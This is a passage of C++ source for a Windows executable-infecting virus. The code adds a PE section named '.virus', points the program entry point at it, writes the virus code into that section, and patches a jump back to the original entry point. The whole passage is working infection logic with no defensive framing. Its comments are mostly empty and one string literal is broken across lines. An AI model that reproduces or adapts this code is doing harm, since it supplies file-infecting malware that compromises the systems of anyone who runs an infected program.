strcpy((char*)pNewSec->Name , ".virus");
//***** *****
pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
BOOL bWrite;
DWORD dwHeaderSize , dwWriten;
dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);
//***** *****
DWORD dwSetFileP;
//***** *****
dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
cout << "SetFilePointer Error!" << endl;
goto CloseNewFileHandle;
}
//***** *****
bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
if (!bWrite)
{
cout << "Write Virus Code Error!" << endl;
goto CloseNewFileHandle;
}
//***** *****
dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +
pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
cout << "SetFilePointer End Error!" << endl;
goto CloseNewFileHandle;
}
//***** *****
if (!SetEndOfFile(hNewFile))
{
cout << "SetEndOfFile Error!" << endl;
goto CloseNewFileHandle;
}
//******* *******
PBYTE pModifyAddr;
pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
pModifyAddr += dwFunCodeLen;
//printf("%x
" , pModifyAddr);
int nSub; //
nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
DWORD dwModifyLoca;
dwModifyLoca = pNewSec->PointerToRawData;
dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
//dwModifyLoca ++;
// ***** *****
dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
cout << "Modify Address SetFilePointer Error!" << endl;
goto CloseNewFileHandle;
}
//***** jmp *****
BYTE bJmp;
bJmp = 0XE9;
bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
if (!bWrite)
{
cout << "Modify Address WriteFile Error!" << endl;
goto CloseNewFileHandle;
}
//***** *****
bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
if (!bWrite)
{
cout << "Modify Address WriteFile Error!" << endl;
goto CloseNewFileHandle;
}
//****************************************************************
//******* *******
//****************************************************************
CloseNewFileHandle:
CloseHandle(hNewFile);
FreeViewOfMap:
UnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
CloseHandle(hMapFile);
CLOSEFILEHANDLE:
CloseHandle(hFile);
}